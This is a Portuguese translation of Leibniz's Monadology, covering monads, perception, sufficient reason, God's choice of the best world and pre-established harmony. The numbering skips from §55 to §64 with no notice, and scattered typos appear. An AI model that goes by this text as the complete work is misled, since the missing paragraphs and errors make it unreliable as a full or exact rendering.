Leibniz – Princípios de Filosofia ou Monadologia

Leibniz – Princípios de Filosofia ou Monadologia

Tradução de Luís Martins
Fonte: Edição da Imprensa Nacional – Casa da Moeda – Lisboa

1 — A Mónada, de que iremos aqui falar, não é outra coisa senão uma substância simples, que entra nos compostos; simples, quer
dizer, sem partes. (Teodíceia, § 10).

2 — E, como há compostos, é necessário que haja substâncias simples; porque o composto não é outra coisa senão um montão ou
AGGREGATUM dos simples.

3 — Ora, onde não há partes, não há nem extensão, nem figura, nem divisibilidade possível. E estas Mónadas são os verdadei­ros
Átomos da Natureza ou, numa palavra, os Elementos das coisas.

4 — Não há também dissolução a temer, e não há nenhuma maneira concebível pela qual uma substância simples possa perecer
naturalmente.

5 — Pela mesma razão, não há nenhuma maneira pela qual uma substância simples possa começar naturalmente, pois não pode­ria
ser formada por composição.

6 — Assim, pode dizer-se que as Mónadas não poderiam começar nem acabar senão instantaneamente, isto é, elas não poderiam
começar senão por criação e acabar senão por aniquilação; ao contrário, o que é
composto começa e acaba por partes.

7 — Não há igualmente meio de explicar como uma Mónada pode ser alterada ou mudada no seu interior por outra qualquer cria­tura;
Pois nada se lhe pode transpor, nem conceber algum movimento interno que
pudesse ser excitado, dirigido, aumen­tado ou diminuído dentro dela, como
acontece nos compostos, onde há mudança entre as partes. As mónadas não têm
janelas por que alguma coisa pudesse entrar ou sair. Os acidentes não poderiam
separar-se, nem passear-se fora das substâncias, como faziam outrora as
espécies sensíveis dos escolásticos. Assim, nem
substância, nem acidente pode vir de fora para uma Mónada.

8 — No entanto, é necessário que as Mónadas tenham
algumas qua­lidades; de outro modo, nem sequer seriam Seres. E se as subs­tâncias
simples não diferissem pelas suas qualidades, não ha­veria meio de se aperceber
de qualquer mudança nas coisas; porque o que está nos compostos só pode provir
dos ingre­dientes simples; e as Mónadas sendo sem qualidades, seriam
indistinguíveis uma da outra, já que elas em nada diferem em quantidade. E, consequentemente, o pleno sendo suposto, cada lugar só receberia em movimento
o Equivalente do que tinha tido, e um estado de coisas seria indistinguível de
outro.

9 — É mesmo necessário que cada Mónada seja
diferente de cada outra. Porque não existe nunca na natureza dois Seres que
sejam perfeitamente um como o outro e onde não seja possível encontrar uma
diferença interna ou fundada sobre uma deter­minação intrínseca.

10 — Temo igualmente por aceite que todo o ser
criado está sujeito à mudança, e por conseqüência a Mónada, criada ela também;
e mesmo que esta mudança é contínua em cada uma.

11 — Segue-se do que dissemos, que as mudanças
naturais das Mó­nadas provêm de um PRINCÍPIO INTERNO, já que uma causa externa
não poderia influir no seu interior. (Teod., §s. 396 e 400).

12 — Mas também é necessário que, para além do
princípio de mu­dança, haja um DETALHE DO QUE MUDA, que faça, por assim dizer,
a especificação e a variedade das substâncias simples.

13 — Este detalhe deve envolver uma multiplicidade na
unidade ou no simples. Porque como toda a mudança natural se faz por degraus,
alguma coisa muda e alguma coisa permanece; e, con­sequentemente, é necessário
que na substância simples haja pluralidade de afecções e de relações, ainda que
nela não haja partes.

14 — O estado passageiro que envolve e representa
uma multiplicidade na unidade ou na substância simples não é outra coisa senão
o que se chama a PERCEPÇÃO, a qual deve distinguir-se da apercepção ou da
consciência, como se mostrará adiante. E foi nisto que os cartesianos falharam
bastante, não tendo considerado para nada as percepções que não se aperce­bem.
Foi igualmente o que fez acreditar que só os Espíritos eram Mónadas e que não
havia Almas dos Animais nem outras Enteléquias; e que os fez confundir, com o
vulgo, um longo atordoamento com uma morte a rigor, o que os fez ainda cair no
preconceito escolástico das almas totalmente separadas e, do mesmo modo,
fortaleceu os espíritos mal formados na opinião da mortalidade das almas.

15 — A Acção do princípio interno que faz a mudança
ou a passa­gem de uma percepção a outra pode ser chamada APETIÇÃO. É verdade
que o apetite não pode sempre adequar-se inteira­mente a toda a percepção para
onde ela tende, mas consegue sempre qualquer coisa e alcança percepções novas.

16 — Nós próprios experimentamos uma multiplicidade
na substân­cia simples logo que notamos que o menor pensamento de que nos
apercebemos envolve uma variedade no objecto. Assim, todos os que reconhecem
que a Alma é uma substância simples deviam reconhecer esta multiplicidade na
Mónada, e Bayle não devia encontrar aí uma dificuldade, como o fez no seu Dicio­nário,
artigo Rorarius.

17 — De resto, é-se
obrigado a confessar que a PERCEPÇÃO e o que dela depende é INEXPLICÁVEL POR
RAZÕES ME­CÂNICAS, isto é, pelas figuras e pelos movimentos. E fingindo existir
uma Máquina cuja estrutura fizesse pensar, sentir, ter percepção, poder-se-ia,
conservando as mesmas proporções, concebê-la aumentada de tal modo que nela se
pudesse entrar como num moinho. E assim, percorrendo-a por dentro, não
encontraríamos senão peças impulsionando-se umas às outras e nada por que
explicar uma percepção. Assim, é na substãncia simples, e no composto ou na
máquina, que é preciso procurá-la. Também nada senão isso se poderá encontrar
nas substâncias simples, isto é, as percepções e as suas mudanças. E é só
nisso igualmente que podem consistir todas as ACÇÕES INTERNAS das substâncias
simples.

18
— Poder-se-ia dar o nome de Enteléquias a todas as substâncias simples
ou Mônadas criadas porque elas contêm uma certa per­feição, (echousi to

enteles)
e possuem uma suficiência (autarkeia) que as torna fontes das suas próprias
acções internas e, por assim dizer, em Autômatos incorporais. (Teod., §
87).

19
— Se queremos chamar alma a tudo o que tem PERCEPÇÕES e
APETITES no sentido geral que acabo de explicar, todas as substâncias simples
ou Mónadas criadas poderiam ser chama­das Almas; mas como o sentimento c algo
mais que uma simples percepção, concordo que o nome geral de Mónadas e Entelé­quias
baste para as substâncias simples que só têm percepção e que se chame Almas
somente àquelas cuja percepção é mais distinta e acompanhada de memória.

20
— Nós próprios experimentamos um Estado em que não nos lembramos de nada
nem temos nenhuma percepção distinta, como quando desfalecemos ou quando
estamos abatidos num pro­fundo sono sem nenhum sonho. Neste estado, a alma não
difere em nada de uma simples Mónada; mas como este estado não é durável, e
dele se liberta, a alma é algo mais. (Teod., § 61).

21
— Disto não se infere que, naquele estado, a substância simples esteja
sem qualquer percepção. Tal não é possível, até pelas razões já apontadas;
porque tal como não poderia perecer, as­sim também não poderia subsistir sem
nenhuma afecção, que não é outra coisa que a sua percepção. Mas quando há uma
grande quantidade de pequenas percepções, onde nada se en­contra distinto, é
porque se está atordoado, como quando se anda continuamente à volta num mesmo
sentido várias vezes, de modo que advém uma vertigem que nos faz desmaiar e na­da
nos deixa distinguir. E a morte pode conferir por uns tempos este estado aos
animais.

22
— E como todo o estado presente de uma substância simples é naturalmente uma conseqüência
do seu estado precedente, do mesmo modo o presente está prenhe do futuro. (Teod.,
§ 360).

23 —
Assim, pois que despertada do atordoamento APERCEBE-SE das suas percepções, é
necessário que também as tivesse tido imediatamente antes, ainda que tal fosse
imperceptível; porque uma percepção não poderia provir naturalmente senão de
outra percepção, como um movimento não provém natural­mente senão doutro
movimento. (Teod., §s. 401-403).

24 —
Daqui se conclui que, se não tivéssemos nada de distinto e, por assim dizer, de
recortado e de um mais alto gosto nas nos­sas percepções, estaríamos num
contínuo atordoamento. É este o estado das Mónadas nuas.

25 —
Assim, vemos que a Natureza deu percepções recortadas aos animais, graças aos
cuidados que ela toma de lhes fornecer os órgãos que conjugam vários raios de
luz ou várias ondulações do ar, de modo a que, pela sua união, tivessem mais
eficácia. Há algo de semelhante no odor, no gosto e no tacto, e talvez em
muitos outros sentidos que nos são desconhecidos. Em breve explicarei como o
que se passa na Alma representa o que sucede nos órgãos.

26 —
A memória fornece às almas uma espécie de CONSECUÇÂO que imita a razão, mas que
se lhe deve distinguir. É que vemos que os animais tendo a percepção de algo
que os incomoda, e da qual tinham antes uma percepção semelhante, aguardam
através da representação da sua memória o que esteve junto nessa percepção
precedente e, assim, são levados a sentimentos semelhantes aos de então. Por
exemplo, quando se mostra um pau aos cães, eles recordam-se da dor causada
anteriormente e, ganindo, fogem. (Prelimin., § 65).

27 —
E a imaginação forte que os perturba e agita provém ou da grandeza ou da
quantidade das percepções precedentes. Porque muitas vezes uma impressão forte
provoca de uma só vez o efeito de um longo HÁBITO ou de muitas fracas
percepções reiteradas,

28 —
Os homens, enquanto as consecuções das suas percepções só se fazem pelo
princípio da memória, agem como os animais,

assemelhando-se
aos Médicos Empíricos que têm uma simples prática sem teoria; o nós somos
somente Empíricos em três quartos das nossas Acções. Por exemplo: quando se
espera pelo dia de amanhã porque assim sempre sucedeu até agora, age-se
empiricamente. Neste caso, só o Astrônomo julga pela razão. (Prelimin.. § 65).

29
— Porém, o conhecimento das verdades necessárias e eternas é o que nos
distingue dos simples animais e nos faz possuir a RAZÃO e as Ciências,
elevando-nos ao conhecimento de nós próprios e de Deus. E é o que se chama em nós Alma Racio­nal ou Espírito.

30
— É também pelo conhecimento das verdades necessárias e pelas suas
abstracções que nos elevamos aos ACTOS REFLEXIVOS, que nos fazem pensar no que
se chama Eu e a considerar que isto ou aquilo existem em nós. E é assim que pensando em nós pensamos no Ser, na Substância, no simples e no composto,
no imaterial e no próprio Deus, concebendo que aquilo que é limitado em nós é
nele ilimitado. E estes Actos reflexivos for­necem os objectos principais dos
nossos raciocínios. (Teod., Prefácio).

31
— Os nossos raciocínios estãp fundados em DOIS GRANDES PRINCÍPIOS,
O DA CONTRADIÇÃO em virtude do qual julgamos FALSO o que implica contradição e
VERDADEIRO o que é oposto ou contraditório com o falso. (Teod., §s. 44 e
169).

32
— E O DA RAZÃO SUFICIENTE, em virtude do qual consideramos que nenhum Jacto
poderia ser verdadeiro ou existen­te, nenhuma Enunciação verídica sem que haja
uma razão suficiente para que isso assim seja e não de outro modo, ainda que
estas razoes as mais das vezes não possam ser conhecidas por nós. (Teod., §s.
44 e 196).

33
— Há duas espécies de VERDADES; as de RACIOCÍNIO e as de
FACTO. As verdades de Raciocínio são necessárias e o seu oposto é impossível; e
as de facto são contingentes e o seu oposto é possível. Quando uma verdade é
necessária pode encontrar-se a sua razão pela análise, resolvendo-a em idéias e
verdades mais simples até se chegar às primitivas. (Teod,
§s. 170, 174, I89, 280-282, 367;
Resumo, 3.ª Objecção).

34
— Ê assim que os Matemáticos reduzem os TEOREMAS de especulação
e as REGRAS da prática através da Análise às Definições, Axiomas e Postulados.

35
— Enfim, há IDÉIAS SIMPLES cuja definição não se pode dar; há
também Axiomas e Postulados ou, numa palavra, PRIN­CÍPIOS PRIMITIVOS que não
poderiam ser provados e que também não têm necessidade de sê-lo; são as ENUNCIAÇÕES
IDÊNTICAS, cujo oposto contém uma contradição expressa.

36
— Mas a RAZÃO SUFICIENTE deve encontrar-se também nas VERDADES
CONTINGENTES ou DE FACTO, isto é, na série das coisas que se encontram
repartidas pelo universo das criaturas, onde a resolução em razões particulares
poderia ser levada a um detalhe sem limites devido à variedade imensa das
coisas da Natureza e à divisão dos corpos ao infinito. Há uma infinidade de
figuras e movimentos presentes e passados que entram na causa eficiente da
minha presente escrita e há uma infinidade de pequenas inclinações e
disposições da minha alma, presentes e passadas, que entram na causa final. (Teod.,
§s. 36, 37, 44, 45, 49, 52, 121, 122, 637, 340-344).

37
— E como todo este DETALHE envolve ainda outros contingentes anteriores ou mais
detalhados, dos quais cada um tem ainda necessidade de uma Análise semelhante
para lhe confe­rir razão, nunca mais se avança na análise; e é preciso que a
razão suficiente ou última esteja fora da seqüência ou SÉRIES deste detalhe dos
contingentes por mais infinito que ele possa ser.

38
— E é assim que a última razão das coisas deve estar numa substância
necessária, na qual o detalhe das mudanças não esteja senão eminentemente, como
na origem: e é o que chamamos Deus. (Teod., § 7).

39 –
Ora, esta substância sendo uma razão suficiente de todo este detalhe, o qual
está igualmente ligado por todo o todo o lado, NÃO HÁ SENÃO UM DEUS E ESTE DEUS BASTA.

40
— Pode julgar-se também que esta Substância Suprema que é única,
universal e necessária, não tendo nada fora dela que lhe seja independente, e
sendo uma conseqüência simples do ser possível, deva ser incapaz de limites e
deva conter tanta realidade quanto lhe seja possível.

41
— Donde se segue que Deus é absolutamente perfeito, não sendo outra
coisa a perfeição senão a grandeza de realidade positiva tomada rigorosamente,
excluindo os limites ou restrições nas coisas que as têm. E onde não há
limites, isto é, em Deus, a perfeição é absolutamente infinita. (Teod., §
22, Prefácio, § 4).

42
— Segue-se igualmente que as criaturas têm as suas perfeições a partir
da influência de Deus, mas que elas têm também as suas imperfeições a partir da
sua própria natureza, incapaz de ser sem limites. Porque é nisto que elas são
distintas de Deus. (Teod., §s. 20, 27-30, 153, 167, 377 e ss.).

43
— Ê igualmente verdade que em Deus está não somente a fonte das
existências, mas ainda a das essências, enquanto reais, ou o que há de real na
possibilidade. E isto é assim porque o Entendimento de Deus é a região das
verdades eternas ou das idéias de que se dependem, e sem ele nada de real
haveria nas possibilidades; e não somente nada de existente, mas
tão-pouco nada de possível. (Teod., § 20).

44
— Porque é necessário que, se há uma realidade nas Essências ou possibilidades
ou nas verdades eternas, esta realidade seja fun­dada em algo de existente e
Actual; e, consequentemente, na Existência do Ser necessário, no qual a
Essência implica a Existência ou no qual basta ser possível para ser Actual. (Teod,,
§s. 184-189, 335).

45
— Assim, só Deus (ou o Ser Necessário) tem este privilégio: se é possível
tem de existir necessariamente. E como nada pode impedir a possibilidade do que
não contém nenhuns limites, nenhuma negação, e, consequentemente, nenhuma
contradição, isto basta para conhecer a Existência de Deus A PRIORI.

Demonstramo-la
igualmente pela realidade das verdades eter­nas. Mas acabamos também de
prová-la A POSTERIORI pela existência de seres contingentes, os quais não
poderiam ter a sua razão última ou suficiente senão no ser necessário o qual
tem a razão da sua existência em si próprio.

46
— Porém, não é preciso imaginar-se, como alguns, que as verdades
eternas, sendo dependentes de Deus, são arbitrárias e dependentes da sua
vontade, como Descartes parece tê-lo feito e, posteriormente, Poiret. Isto não
é verdade senão para as verdades contingentes, cujo princípio é a CONVENIÊNCIA
ou a escolha do MELHOR, ao passo que as Verdades Neces­sárias dependem
unicamente do seu objecto interno. (Teod., §s. 180-184, 185, 335, 351,
380).

47
— Assim, só Deus é a Unidade Primitiva ou a substância simples originária,
da qual todas as Mónadas criadas ou derivativas são produções; e nascem, por
assim dizer, por Fulgurações contí­nuas da Divindade de momento a momento,
limitadas pela receptividade da criatura, à qual é essencial ser limitada. (Teod.,
§s. 382-391, 398, 395).

48
— Há em Deus a POTÊNCIA, que é a fonte de tudo, depois o CONHECIMENTO,
que contém o detalhe das idéias, e enfim a VONTADE, que faz as mudanças ou
produções segundo o princípio do melhor. E isto é o que corresponde, ao que nas
Mónadas criadas faz o Sujeito ou a Base, a Faculdade Perceptiva e a Faculdade
Apetitiva. Mas em Deus estes atributos são absolutamente infinitos ou
perfeitos; e nas Mónadas criadas ou nas Enteléquias (ou perfectihabies, como
Hermolaus Barbarus traduziu esta palavra) não são senão imitações à medida da
perfeição que contêm. (Teod., §s. 7, 149, 150; § 87).

49
— A criatura é dita AGIR para fora tanto quanto perfeição contém; e PADECER de
uma outra tanto quanto é imperfeita. Assim, atribui-se a ACÇÃO à Mónada
enquanto ela possui per­cepções distintas e a paixão enquanto ela tem
percepções confusas. (Teod., §s. 32, 66, 368).

50
— E uma criatura é mais perfeita do- que outra enquanto se encontra
nela o que serve para dar razão A PRIORI do que se passa noutra e é por isso
mesmo que se diz que ela age sobre a outra.

51
— Mas nas substâncias simples há somente uma influência ideal de
uma Mónada sobre outra, a qual não pode ter o seu efeito senão pela intervenção
de Deus e tanto quanto nas idéias de Deus uma Mónada pede com razão que Deus,
regulando as outras desde o começo das coisas, a tenha em consideração. Porque, já que uma Mónada criada não poderia ter uma influência física sobre o
interior de outra, é somente por este meio que uma pode estar dependente de
outra. (Teod., §s. 9, 54, 65, 66, 201, Resumo, 3.a Obj.).

52
— E é assim que entre as criaturas as Acções e as Paixões são mútuas.
Porque Deus, comparando duas substâncias simples, encontra em cada uma razões
que a obrigam a acomodar-se à outra; e, consequentemente, o que de certo ponto
de vista é activo, é passivo segundo um outro ponto de consideração: ACTIVO
enquanto o que se conhece distintamente nela serve para dar razão do que se
passa numa outra, e PASSIVO enquanto a razão do que se passa nela se encontra
no que se conhece distintamente em outra.

53
— Ora, como há uma infinidade de universos possíveis nas idéias de
Deus e como não pode existir senão um só, é preciso que haja uma razão
suficiente da escolha de Deus, que o determine a preferir a um mais do que a
outro. (Teod., §s. 8, 10, 44, 173, 196 e ss., 225, 414-416).

54
— E esta razão não se pode encontrar senão na CONVENIÊNCIA ou
nos graus de perfeição que estes mundos contêm; cada pos­sível tendo direito a
pretender à existência à medida da perfei­ção que contém. (Teod., §s.
74, 167, 350, 201, 130, 352, 345 e ss., 354).

55
— E é esta a causa da Existência do Melhor, que a Sabedoria fez conhecer
a Deus, que a sua bondade o fez escolher e que a sua potência o fez produzir.

(Teod.,
§s. 8, 78, 80, 84, 119, 204, 206,
208, Resumo 1a Obj., 8.a Obj.).

64
— Assim, cada corpo orgânico de um vivente é uma Espécie de Máquina
divina, ou de um Autômato Natural, que ultrapassa infinitamente todos os
Autômatos artificiais, porque uma Má­quina feita pela arte do homem não é
Máquina em cada uma das suas partes. Por exemplo: o dente de uma roda de latão
tem partes ou fragmentos que já não nos são algo de artificial e não contêm mais
nada que indique da Máquina relativa­mente ao uso a que a roda era destinada.
Mas as Máquinas da Natureza, isto é, os corpos vivos, são ainda Máquinas nas
suas menores partes, até ao infinito. É isto que faz a diferença entre a
Natureza e a Arte, isto é, entre a Arte divina e a Nossa. (Teod., §s.
134, 146, 194, 483).

65
— E o Autor da Natureza pôde praticar este artifício divino e infinitamente
maravilhoso porque cada porção de matéria não é somente divisível ao infinito,
como os antigos reconheceram, mas ainda subdividido actualmente sem fim, cada
parte em partes, das quais cada uma tem algum movimento próprio. De outro modo
seria impossível que cada porção de matéria pudesse exprimir todo o universo.
(Prelimin., § 70; Teod., § 195).

66
— Donde se vê que há um Mundo de criaturas, de viventes, de Animais,
de Enteléquias, de Almas na menor porção de matéria.

67
— Cada porção de matéria pode ser concebida como um jardim pleno
de plantas.e como um lago pleno de peixes. Mas cada ramo da planta, cada membro
do Animal, cada gota de seus humores é ainda um tal jardim ou um tal lago.

68
— E embora a terra e o ar interpostos entre as plantas do jardim ou a
água interposta entre os peixes do lago não sejam plantas nem peixes, eles os
contêm ainda, as mais das vezes de uma subtilidade imperceptível para nós.

69
— Assim, não há nada de inculto, de estéril, de morto no universo,
não há caos nem confusão senão na aparência, mais ou menos como num lago à
distância no qual se veria um movi­mento confuso e buliçoso, por assim dizer,
de peixes no lago sem discernir os próprios peixes.

70
— Por isso se vê que cada corpo vivo tem uma Enteléquia dominante, que é a Alma
no animal; mas os membros deste corpo vivo são plenos de outros corpos vivos,
plantas, animais, dos quais cada um tem ainda a sua Enteléquia ou a sua alma
dominante.

71
— Não é necessário imaginar, porém, como alguns que perceberam
mal o meu pensamento, que cada Alma tem uma massa ou porção de matéria própria
ou a ela afectada para sempre e que possui, consequentemente, outros vivos ao
seu serviço. Porque todos os corpos estão num fluxo perpétuo como os rios em
que as partes entram e saem continuamente.

72
— Assim, a alma não muda de corpo senão pouco a pouco e por graus,
de modo que não é nunca despojada instantaneamente de todos os seus órgãos; e
muitas vezes há metamorfose nos animais, mas nunca há Metempsicose nem
transmigração das Almas; também não existem ALMAS completamente SEPARADAS nem
Gênios sem corpo. Só Deus está inteiramente separado. (Teod., §s. 90,
124).

73
— O que igualmente faz que nunca haja nem geração inteira nem morte
perfeita tomada a rigor, isto é, consistindo na separação da alma. E o que
chamamos GERAÇÕES são desenvolvimen­tos e crescimentos, tal como o que chamamos
MORTES são Envolvimentos e Diminuições.

74
— Os Filósofos estiveram bastante embaraçados sobre a origem das
Formas, Enteléquias ou Almas; mas hoje, quando se aper­cebeu, através de
investigações exactas feitas sobre as plantas, os insectos e os animais, que os
corpos orgânicos da natureza nunca são produzidos a partir de um caos ou de uma
putrefação, mas sempre através de sementes, nas quais sem dúvida existia alguma
PREFORMAÇÃO, julgou-se que não somente o corpo orgânico já aí estava antes da
concepção, mas ainda uma Alma neste corpo e, numa palavra, o próprio animal; e
que, por meio da concepção, este animal foi somente disposto a uma grande
transformação de modo a se tornar um animal de uma outra espécie. Vê-se mesmo
algo de semelhante fora da geração, como quando os vermes se tornam moscas e as
lagartas borboletas.

(Teod.,
§s. 86, 89, 90, 187, 188, 403, 397).

75
— Os ANIMAIS, dos quais alguns são elevados ao grau dos maioes
animais por meio da concepção, podem ser chamados ESPERMÁTICOS; mas os que
entre eles permanecem na sua espécie, isto é, a maioria, nascem e
multiplicam-se e são des­truídos como os grandes animais, e não há senão um
pequeno número de Eleitos que passam a um maior teatro.

76
— Mas isto não era senão a metade da verdade: eu julguei então que,
se o animal nunca começa naturalmente, também nunca acaba naturalmente, e que
não somente não haverá geração como não haverá ainda destruição inteira, nem
morte tomada a rigor. E estes raciocínios feitos A POSTERIORI e tirados da
experiência acordam-se perfeitamente com os seus princípios deduzidos A PRIORI
e acima expostos. (Teod., § 90).

77
— Assim, pode dizer-se que não somente a Alma (espelho de um
universo indestrutível) é indestrutível, como ainda o pró­prio animal, ainda
que a sua Máquina pereça freqüentemente em parte e abandone ou receba despojos
orgânicos.

78
— Estes princípios proporcionaram-me o meio de explicar naturalmente a união,
ou melhor, a conformidade da Alma e do corpo orgânico. A Alma segue as suas
próprias leis e o corpo igualmente as suas e eles se encontram em virtude da
harmo­nia pré-estabelecida entre todas as substâncias, pois que todas são
representações de um mesmo universo. (Teod., §s. 340, 352, 353, 358).

79
— As Almas agem segundo as leis das causas finais, por apetites, fins
e meios. Os corpos agem segundo as leis das causas efici­entes ou movimentos. E
os dois reinos, o das causas eficientes e o das causas finais, são harmônicos
entre si.

80
— Descartes reconheceu que as Almas não podem dar força aos corpos,
porque há sempre a mesma quantidade de força na matéria. Todavia, acreditou que
a alma podia mudar a direção dos corpos. Mas isto foi porque no seu tempo não
se conhecia a lei da natureza sobre a conservação da mesma direcção total na
matéria. Se a tivesse conhecido, ele teria caído no
meu Sistema da Harmonia pré-estabelecida. (Teod.,
§s. 32, 59, 60, 61, 62, 66, 345, 346,
e ss. 354, 355).

81 —
Este sistema faz que os corpos ajam como se (por impossível) não houvesse Almas
e que as Almas ajam como se não hou­vesse corpos. E os dois agem como se um
influísse sobre o outro.

82 —
Quanto aos Espíritos ou Almas racionais, embora eu pense que haja no fundo a
mesma coisa em todos os viventes e ani­mais, como acabamos de dizer (a saber,
que o Animal e a Alma não começam senão com o Mundo e igualmente só aca­bam com
o Mundo), há, todavia, isto de particular nos Animais racionais, que os seus
pequenos Animais Espermáticos, en­quanto não são senão só isso, têm somente
Almas ordinárias ou sensitivas; mas, tratando-se dos eleitos, por assim dizer,
que atingem por uma actual concepção a natureza humana, as suas almas
sensitivas são elevadas ao grau da razão e à prerrogativa de Espíritos. (Teod.,
§s. 91, 397).

83 —
Entre as várias diferenças que há entre as Almas ordinárias e os Espíritos, das
quais já analisei uma parte, há ainda esta: que as Almas em geral são espelhos
vivos ou imagens do uni­verso das criaturas mas que os Espíritos são ainda
imagens da própria Divindade ou do próprio Autor da natureza, capazes de
conhecer o Sistema do Universo e de o imitar em algo atra­vés de escantilhões
arquitectónicos, cada Espírito sendo como uma pequena divindade no seu domínio.
(Teod., § 147).

84 —
É o que faz que os Espíritos sejam capazes de entrar numa Maneira de Sociedade
com Deus, e que Ele seja relativamente a eles não somente o que um inventor é à
sua Máquina (como o é Deus relativamente às outras criaturas), mas ainda o que
um Príncipe é a seus súbditos e mesmo um pai a seus filhos.

85 —
Donde é fácil de concluir que a reunião de Todos os Espíritos deve constituir a
Cidade de Deus, isto é, o mais perfeito estado possível sob o mais perfeito dos
Monarcas. (Teod., § 146; Resumo, 2.a Obj.).

86
— Esta Cidade de Deus, esta Monarquia verdadeiramente universal,
é um Mundo Moral no Mundo Natural e o que de mais elevado e de mais divino
existe nas obras de Deus; e é nela que consiste verdadeiramente a glória de
Deus, pois que não a haveria se a sua grandeza e a sua bondade não fossem
conhecidas e admiradas pelos espíritos; e é também relativa­mente a esta cidade
divina que há propriamente Bondade, ao passo que a sua Sabedoria e a sua
Potência se manifestam por todo o lado.

87
— Do mesmo modo que acima estabelecemos uma Harmonia perfeita
entre os dois Reinos Naturais, um o das causas Eficientes, outro o das Finais,
devemos ainda assinalar uma outra harmonia entre o reino Físico da Natureza e o
reino Moral da Graça, isto é, entre Deus considerado como Arquitecto da Máquina
do universo e Deus considerado como Monarca da cidade divina dos Espíritos. (Teod.,
§s. 62, 74, 118, 112, 130, 147).

88
— Esta Harmonia faz que as coisas conduzam à graça pelas próprias
vias da natureza, e que este globo, por exemplo, deve ser destruído e reparado
pelas vias naturais e nos momentos em que o requer o governo dos Espíritos,
para castigo de uns e recompensa de outros. (Teod., §s. 18 e ss. 110,
244, 245, 340).

89
— Pode dizer-se ainda que Deus como Arquitecto satisfaz em tudo a
Deus como Legislador e que, assim, os pecados devem arras­tar consigo a sua
pena segundo a ordem da natureza e em vir­tude da própria estrutura mecânica
das coisas; e que do mes­mo modo as belas acções atrairão as suas recompensas
por vias mecânicas relativamente aos corpos, ainda que isto não possa e não
deva sempre acontecer imediatamente.

90
— Enfim, sob este governo perfeito não haverá boa Acção sem recompensa
nem má sem castigo; e tudo deve resultar para bem dos bons, isto é, daqueles
que não se encontram descontentes neste grande Estado, que confiam na
providência após terem feito o seu dever e que amam e imitam como é devido o
Autor de todo o bem, alegrando-se na consideração das suas perfeições segundo a
natureza do verdadeiro PURO AMOR, que nos faz gozar com a felicidade do que se
ama. É o que faz tra­balhar as pessoas sábias e virtuosas em tudo o que parece
con­forme à vontade divina presumida ou antecedente e satisfazer–se, todavia,
com aquilo que Deus faz efectivamente acontecer por via da sua vontade secreta,
conseqüente ou decisiva; reconhecendo que, se pudéssemos entender
suficientemente a ordem do universo concluiríamos que ela ultrapassa todos os
desejos dos mais sábios e que seria impossível torná-lo melhor do que ele é,
não somente para o todo em geral mas ainda para nós próprios em particular, se
nos submetemos como é devido ao Autor de tudo, não só como ao Arquitecto e à
causa efici­ente do nosso ser, mas ainda como a nosso Mestre e à causa Final
que deve constituir todo o objecto da nossa vontade e o único que pode fazer a
nossa felicidade. (Teod., § 278; Prefácio).

Link: Prefácio à obra escrito por Émile Boutroux

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